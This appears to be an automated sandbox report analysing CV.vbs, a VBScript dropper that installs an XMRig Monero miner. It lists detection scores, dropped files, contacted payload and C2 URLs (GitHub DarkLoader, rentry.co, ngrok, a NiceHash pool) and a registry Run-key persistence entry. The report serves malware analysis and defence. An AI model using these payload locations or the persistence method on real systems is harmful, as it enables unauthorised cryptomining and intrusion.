Credentials	Domains	Default Accounts	11 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Obfuscated Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	11 Registry Run Keys / Startup Folder	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	Security Account Manager	14 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Masquerading	NTDS	21 Security Software Discovery	Distributed Component Object Model	Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Modify Registry	LSA Secrets	1 Process Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	121 Virtualization/Sandbox Evasion	Cached Domain Credentials	121 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	14 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Process Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	1 Proxy	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
CV.vbs	3%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\Local\Temp\DLL120A.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DLL120A.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\DLL39F2.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DLL39F2.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\DLL46B0.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DLL46B0.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\DLL6063.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DLL6063.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\DLL663C.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DLL663C.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\DLL814C.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\DLL814C.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DLL82AA.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DLL82AA.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\DLLAA54.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DLLAA54.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\DLLD067.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DLLD067.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\DLLD6FB.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DLLD6FB.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\DLLF060.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DLLF060.tmp	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\DLLF657.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\DLLF657.tmp	0%	Virustotal	Browse
C:\miner\f47fbf81ac4c43b887677c52e6851238$dpx$.tmp\32aef5a1e2625241be82835248f96587.tmp	28%	Virustotal	Browse
C:\miner\f47fbf81ac4c43b887677c52e6851238$dpx$.tmp\ef6e2f792af92b4b9f5dc85422487e31.tmp	14%	Virustotal	Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
randomxmonero.auto.nicehash.com	0%	Virustotal	Browse
raw.githubusercontent.com	0%	Virustotal	Browse
rentry.co	0%	Virustotal	Browse
www.google.com	0%	Virustotal	Browse
0.tcp.in.ngrok.io	7%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://www.gnu.org/licenses/gpl.html	0%	URL Reputation	safe
http://www.google.com	100%	URL Reputation	malware
https://xmrig.com/wizard%s	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/DevilBot000/DarkLoader/main/q64New.encode	0%	Avira URL Cloud	safe
https://savannah.gnu.org/bugs/?func=additem&group=wget.	0%	Avira URL Cloud	safe
http://www.metalinker.org/	0%	Avira URL Cloud	safe
http://netpreserve.org/warc/1.0/revisit/identical-payload-digestWARC-Truncatedlengthapplication/http	0%	Avira URL Cloud	safe
https://xmrig.com/wizard%s	0%	Virustotal		Browse
http://netpreserve.org/warc/1.0/revisit/identical-payload-digestWARC-Truncatedlengthapplication/http	0%	Virustotal		Browse
https://raw.githubusercontent.com/DevilBot000/DarkLoader/main/q64New.encode	1%	Virustotal		Browse
https://xmrig.com/wizard	1%	Virustotal		Browse
https://xmrig.com/wizard	0%	Avira URL Cloud	safe
https://rentry.co/zsbkz/raw%EBH%02	0%	Avira URL Cloud	safe
http://www.metalinker.org/typeoriginurn:ietf:params:xml:ns:metalinkdynamictagsidentityfilesfilenames	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/DevilBot000/Client_IP_PORT/main/IP_PORT	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/DevilBot000/DarkLoader/main/q64New.encodeInternetCheckhttp://www.g	0%	Avira URL Cloud	safe
https://xmrig.com/docs/algorithms	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/DevilBot000/Client_IP_PORT/main/IP_PORT	0%	Virustotal		Browse
https://gnu.org/licenses/	0%	Avira URL Cloud	safe
http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf	0%	Virustotal		Browse
https://rentry.co/zsbkz/raw%C3%ABH%02	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	1%	Virustotal		Browse
http://www.metalinker.org/typeoriginurn:ietf:params:xml:ns:metalinkdynamictagsidentityfilesfilenames	1%	Virustotal		Browse
https://gnu.org/licenses/gpl.html	0%	Avira URL Cloud	safe
http://netpreserve.org/warc/1.0/revisit/identical-payload-digest	0%	Avira URL Cloud	safe
https://savannah.gnu.org/bugs/?func=additem&group=wget.	0%	Virustotal		Browse
https://xmrig.com/benchmark/%s	0%	Avira URL Cloud	safe
http://www.metalinker.org/	0%	Virustotal		Browse
http://netpreserve.org/warc/1.0/revisit/identical-payload-digest	0%	Virustotal		Browse
https://rentry.co/zsbkz/raw	0%	Avira URL Cloud	safe
https://rentry.co/zsbkz/raw	0%	Virustotal		Browse
https://xmrig.com/docs/algorithms	2%	Virustotal		Browse
https://xmrig.com/benchmark/%s	1%	Virustotal		Browse
https://gnu.org/licenses/	0%	Virustotal		Browse
https://gnu.org/licenses/gpl.html	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
randomxmonero.auto.nicehash.com	34.149.22.228	true	true	0%, Virustotal, Browse	unknown
raw.githubusercontent.com	185.199.110.133	true	false	0%, Virustotal, Browse	unknown
rentry.co	104.26.3.16	true	true	0%, Virustotal, Browse	unknown
www.google.com	142.250.186.36	true	false	0%, Virustotal, Browse	unknown
0.tcp.in.ngrok.io	3.6.115.64	true	false	7%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://raw.githubusercontent.com/DevilBot000/DarkLoader/main/q64New.encode	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://rentry.co/zsbkz/raw%EBH%02	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/DevilBot000/Client_IP_PORT/main/IP_PORT	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://rentry.co/zsbkz/raw%C3%ABH%02	false	Avira URL Cloud: safe	unknown
https://rentry.co/zsbkz/raw	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 0000000A.00000002.3143884949.0000024890082000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sectigo.com/CPS0	powershell.exe, 0000000A.00000002.3177023053.00000248EDDD8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.sectigo.com0	powershell.exe, 0000000A.00000002.3177023053.00000248EDDD8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000A.00000002.3009930478.000002488022D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000A.00000002.3009930478.000002488022D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://xmrig.com/wizard%s	powershell.exe, 0000000A.00000002.2952482891.00000001406DB000.00000002.00001000.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3177023053.00000248ED60F000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://netpreserve.org/warc/1.0/revisit/identical-payload-digestWARC-Truncatedlengthapplication/http	powershell.exe, 0000000A.00000002.3266239970.00000248EEEAB000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2959232520.00000001808A4000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 0000000A.00000002.3143884949.0000024890082000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000000A.00000002.3143884949.0000024890082000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://savannah.gnu.org/bugs/?func=additem&group=wget.	powershell.exe, 0000000A.00000002.3266239970.00000248EEEAB000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2959232520.00000001808A4000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	powershell.exe, 0000000A.00000002.3177023053.00000248EDDD8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.metalinker.org/	powershell.exe, 0000000A.00000002.3266239970.00000248EEEAB000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2959232520.00000001808A4000.00000004.00001000.00020000.00000000.sdmp	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://xmrig.com/wizard	powershell.exe, 0000000A.00000002.2952482891.00000001406DB000.00000002.00001000.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3177023053.00000248ED60F000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	powershell.exe, 0000000A.00000002.3177023053.00000248EDDD8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.metalinker.org/typeoriginurn:ietf:params:xml:ns:metalinkdynamictagsidentityfilesfilenames	powershell.exe, 0000000A.00000002.3266239970.00000248EEEAB000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2959232520.00000001808A4000.00000004.00001000.00020000.00000000.sdmp	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 0000000A.00000002.3009930478.000002488022D000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf	powershell.exe, 0000000A.00000002.3266239970.00000248EEEAB000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2959232520.00000001808A4000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	powershell.exe, 0000000A.00000002.3177023053.00000248EDDD8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://raw.githubusercontent.com/DevilBot000/DarkLoader/main/q64New.encodeInternetCheckhttp://www.g	expand.exe, 00000003.00000003.1683219319.0000013A92C54000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	powershell.exe, 0000000A.00000002.3177023053.00000248EDDD8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 0000000A.00000002.3143884949.0000024890082000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 0000000A.00000002.3143884949.0000024890082000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://xmrig.com/docs/algorithms	powershell.exe, 0000000A.00000002.2952482891.00000001406DB000.00000002.00001000.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3177023053.00000248ED60F000.00000004.00000020.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://gnu.org/licenses/	powershell.exe, 0000000A.00000002.3177023053.00000248EDCC4000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.gnu.org/licenses/gpl.html	powershell.exe, 0000000A.00000002.3266239970.00000248EEEAB000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2959232520.00000001808A4000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://gnu.org/licenses/gpl.html	powershell.exe, 0000000A.00000002.3177023053.00000248EDCC4000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://netpreserve.org/warc/1.0/revisit/identical-payload-digest	powershell.exe, 0000000A.00000002.3266239970.00000248EEEAB000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2959232520.00000001808A4000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.google.com	expand.exe, 00000003.00000003.1683219319.0000013A92C54000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://xmrig.com/benchmark/%s	powershell.exe, 0000000A.00000002.2952482891.00000001406DB000.00000002.00001000.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3177023053.00000248ED60F000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.36	www.google.com	United States	15169	GOOGLEUS	false
104.26.3.16	rentry.co	United States	13335	CLOUDFLARENETUS	true
34.149.22.228	randomxmonero.auto.nicehash.com	United States	2686	ATGS-MMD-ASUS	true
185.199.110.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
3.6.115.64	0.tcp.in.ngrok.io	United States	16509	AMAZON-02US	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1487922
Start date and time:	2024-08-05 11:56:30 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	65
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	CV.vbs
Detection:	MAL
Classification:	mal100.troj.expl.evad.mine.winVBS@113/72@7/5
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target DLL120A.tmp, PID 6592 because there are no executed function
Execution Graph export aborted for target DLL39F2.tmp, PID 7296 because there are no executed function
Execution Graph export aborted for target DLL46B0.tmp, PID 3196 because there are no executed function
Execution Graph export aborted for target DLL6063.tmp, PID 3396 because there are no executed function
Execution Graph export aborted for target DLL663C.tmp, PID 5548 because there are no executed function
Execution Graph export aborted for target DLL814C.tmp, PID 928 because there are no executed function
Execution Graph export aborted for target DLL82AA.tmp, PID 7584 because there are no executed function
Execution Graph export aborted for target DLLAA54.tmp, PID 7000 because there are no executed function
Execution Graph export aborted for target DLLD067.tmp, PID 7252 because there are no executed function
Execution Graph export aborted for target DLLD6FB.tmp, PID 2260 because there are no executed function
Execution Graph export aborted for target DLLF060.tmp, PID 7188 because there are no executed function
Execution Graph export aborted for target DLLF657.tmp, PID 7180 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 7832 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
05:57:24	API Interceptor	118x Sleep call for process: powershell.exe modified
05:58:23	API Interceptor	54x Sleep call for process: PING.EXE modified
10:57:24	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run XmrigMiner C:\miner\mine_start.vbs
10:57:33	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run XmrigMiner C:\miner\mine_start.vbs

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.26.3.16	system47.exe	Get hash	malicious	XWorm	Browse
	file.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse
	file.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse
	S982i1J0Uk.msi	Get hash	malicious	Unknown	Browse
	cliente.exe	Get hash	malicious	Unknown	Browse
	8998BC9FAF52DAB072698E932593819BFD772EE5C0C4519F30ECD55DE363505A.exe	Get hash	malicious	Bdaejec	Browse
	7Y18r(14).exe	Get hash	malicious	LummaC, AsyncRAT, Bdaejec, Go Injector, LummaC Stealer, SmokeLoader, VenomRAT	Browse
	SecuriteInfo.com.Win64.DropperX-gen.26552.421.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.DropperX-gen.26552.421.exe	Get hash	malicious	Unknown	Browse
	TS-240622-Creal2.exe	Get hash	malicious	Python Stealer, CStealer	Browse
34.149.22.228	xm76AOs8k6.exe	Get hash	malicious	Xmrig	Browse
	5Z3v1AZ1AF.exe	Get hash	malicious	LummaC, Xmrig	Browse
	qsqyTR1VdM.exe	Get hash	malicious	Xmrig	Browse
	aFc8xaUnnc.exe	Get hash	malicious	Xmrig	Browse
	RXvFSINxlG.exe	Get hash	malicious	Xmrig	Browse
	L8PUw3vvb1.exe	Get hash	malicious	Xmrig	Browse
185.199.110.133	yLfAxBEcuo.exe	Get hash	malicious	Cryptbot, Vidar, Xmrig	Browse
	http://rapbuki.sga.dom.my.id/aaa	Get hash	malicious	Unknown	Browse
	Setup.exe	Get hash	malicious	Vidar	Browse
	http://tok2np0ckht.top/	Get hash	malicious	HTMLPhisher	Browse
	Updated Handbook.docx	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse
	https://prince-sharmaa0.github.io/netflix-clone	Get hash	malicious	HTMLPhisher	Browse
	https://profiles.secure-dashboard-ours.workers.dev/v3/sitemap	Get hash	malicious	HTMLPhisher	Browse
	https://www.kudoboard.com/boards/8r6Jugr8/	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse
	https://decktop.us/LFzs8Q	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse
	https://api.neonemails.com/emails/tracking/click-link/PBEE1DFJs21gc6hDG-zJdMH5blbPL7q-n100MOdtFDQ=/86hyxJEr-j86_PFxM2wZRFkNidPh4P6wPC5OtXZpEXM=	Get hash	malicious	HTMLPhisher	Browse
3.6.115.64	ae6T8jJueq.exe	Get hash	malicious	Njrat	Browse
	nOZ2Oqnzbz.exe	Get hash	malicious	Njrat	Browse
	ZB7Ot9MOic.exe	Get hash	malicious	Njrat	Browse
	etJZk4UQhS.exe	Get hash	malicious	Njrat	Browse
	jango.exe	Get hash	malicious	XWorm	Browse
	cracksetup.exe	Get hash	malicious	Nanocore	Browse
	LocalStaFvjUblU.exe	Get hash	malicious	njRat	Browse
	558EofiXYO.exe	Get hash	malicious	njRat	Browse
	JsYdl3ZkOA.exe	Get hash	malicious	njRat	Browse
	ehqsU9jDFb.exe	Get hash	malicious	njRat	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
rentry.co	SecuriteInfo.com.Trojan.GenericFCA.Script.33276.27996.26811.exe	Get hash	malicious	Unknown	Browse	104.26.2.16
	system47.exe	Get hash	malicious	XWorm	Browse	104.26.3.16
	file.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse	104.26.3.16
	FpiUD4nYpj.exe	Get hash	malicious	LummaC, AsyncRAT, Go Injector, LummaC Stealer, SmokeLoader, VenomRAT	Browse	104.26.2.16
	e9ddd60081c3e01d049dc4d5ed5f150afc27ffbbdb8b6adf558fa677ad8875dd_dump.exe	Get hash	malicious	LummaC, AsyncRAT, Go Injector, LummaC Stealer, SmokeLoader, VenomRAT	Browse	104.26.2.16
	file.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse	104.26.3.16
	allchecker.exe	Get hash	malicious	Python Stealer, CStealer	Browse	172.67.75.40
	QMe7JpPtde.exe	Get hash	malicious	Unknown	Browse	104.26.2.16
	cliente.exe	Get hash	malicious	Unknown	Browse	172.67.75.40
	S982i1J0Uk.msi	Get hash	malicious	Unknown	Browse	104.26.3.16
0.tcp.in.ngrok.io	RobloxCheats.exe	Get hash	malicious	Unknown	Browse	3.6.98.232
	kuEfaZxkiY.exe	Get hash	malicious	RedLine	Browse	3.6.115.182
	ae6T8jJueq.exe	Get hash	malicious	Njrat	Browse	3.6.115.64
	nOZ2Oqnzbz.exe	Get hash	malicious	Njrat	Browse	3.6.115.64
	iR2UtZj5vP.exe	Get hash	malicious	Njrat	Browse	3.6.122.107
	ZB7Ot9MOic.exe	Get hash	malicious	Njrat	Browse	3.6.30.85
	etJZk4UQhS.exe	Get hash	malicious	Njrat	Browse	3.6.122.107
	jango.exe	Get hash	malicious	XWorm	Browse	3.6.30.85
	cracksetup.exe	Get hash	malicious	Nanocore	Browse	3.6.98.232
	LocalStaFvjUblU.exe	Get hash	malicious	njRat	Browse	3.6.122.107
raw.githubusercontent.com	yLfAxBEcuo.exe	Get hash	malicious	Cryptbot, Vidar, Xmrig	Browse	185.199.110.133
	Xbox.exe	Get hash	malicious	XWorm, Xmrig	Browse	185.199.108.133
	Setup.exe	Get hash	malicious	Vidar	Browse	185.199.110.133
	m427dF0Ztr.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	185.199.108.133
	m427dF0Ztr.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	185.199.108.133
	SecuriteInfo.com.Trojan.WinGo.Ranumbot.18140.30614.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
	https://profiles.secure-dashboard-ours.workers.dev/v3/help	Get hash	malicious	HTMLPhisher	Browse	185.199.108.133
	https://profiles.secure-dashboard-ours.workers.dev/v3/sitemap	Get hash	malicious	HTMLPhisher	Browse	185.199.109.133
	Loader v_1.27.exe	Get hash	malicious	LummaC	Browse	185.199.111.133
	solarabootstrapper.exe	Get hash	malicious	XWorm	Browse	185.199.111.133
randomxmonero.auto.nicehash.com	xm76AOs8k6.exe	Get hash	malicious	Xmrig	Browse	34.149.22.228
	5Z3v1AZ1AF.exe	Get hash	malicious	LummaC, Xmrig	Browse	34.149.22.228
	qsqyTR1VdM.exe	Get hash	malicious	Xmrig	Browse	34.149.22.228
	aFc8xaUnnc.exe	Get hash	malicious	Xmrig	Browse	34.149.22.228
	RXvFSINxlG.exe	Get hash	malicious	Xmrig	Browse	34.149.22.228
	L8PUw3vvb1.exe	Get hash	malicious	Xmrig	Browse	34.149.22.228
	uwq1kT1ke9.exe	Get hash	malicious	Amadey, Xmrig	Browse	34.149.22.228

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FASTLYUS	file.html	Get hash	malicious	HTMLPhisher	Browse	151.101.129.229
	receipt.ACH.No71124.html	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://forms.office.com/Pages/ResponsePage.aspx?id=mZB7T0Dtr0mx-Js9AsqUvjkKVGExcKpLpLje28x2_kZUOVA4UU9WT0pSQUFPSTZPUlhWTElINUNETy4u	Get hash	malicious	HTMLPhisher	Browse	151.101.130.110
	551775-ZAM-6-6-2024.jar	Get hash	malicious	STRRAT	Browse	199.232.192.209
	PO-240722THP.jar	Get hash	malicious	STRRAT	Browse	199.232.192.209
	https://managemyreff.top	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://u20321984.ct.sendgrid.net/ls/click?upn=u001.fMSdnDPwyZg8aQYrku4rkJbSTdbYAv-2FauBRdThCsGOmXIaK-2BLk8Ua513S-2BMu-2FBmhCk9NWdfbVaqs3xDSzufJANaLHYH0uxFPDAE5cm8b2MlspXZHjiOm-2BKpu-2Fy9Hy3KZMEwgj5ZdXsk9DhPWgXhivQ-3D-3Dh6E3_hDqK5-2FqkMaHofB46cg26-2FG2ADrhn0F-2Bv1o9g2b6m-2BukLOFGOYA6HwkTzfLZJtXWW64KPOJ7PhKrOCr7UXQRzJDDstp2Y83XLNk05736tBLXvsIM5GvaNogGaU0hS-2F5G5rfaLvaI3rVLwHqyhg9tac-2ByfNiZC4dRRCWsal-2F8dFl1y3vxYorbjyfaqAl0HIwmCygEhZ3SsjdBRdopw56Rz-2FQ-3D-3D	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://u20321984.ct.sendgrid.net/ls/click?upn=u001.fMSdnDPwyZg8aQYrku4rkJbSTdbYAv-2FauBRdThCsGOmXIaK-2BLk8Ua513S-2BMu-2FBmhCk9NWdfbVaqs3xDSzufJANaLHYH0uxFPDAE5cm8b2MlspXZHjiOm-2BKpu-2Fy9Hy3KZMEwgj5ZdXsk9DhPWgXhivQ-3D-3Dh6E3_hDqK5-2FqkMaHofB46cg26-2FG2ADrhn0F-2Bv1o9g2b6m-2BukLOFGOYA6HwkTzfLZJtXWW64KPOJ7PhKrOCr7UXQRzJDDstp2Y83XLNk05736tBLXvsIM5GvaNogGaU0hS-2F5G5rfaLvaI3rVLwHqyhg9tac-2ByfNiZC4dRRCWsal-2F8dFl1y3vxYorbjyfaqAl0HIwmCygEhZ3SsjdBRdopw56Rz-2FQ-3D-3D	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	PasteHook.exe	Get hash	malicious	AsyncRAT, DCRat, StormKitty, WorldWind Stealer, Xmrig	Browse	185.199.109.133
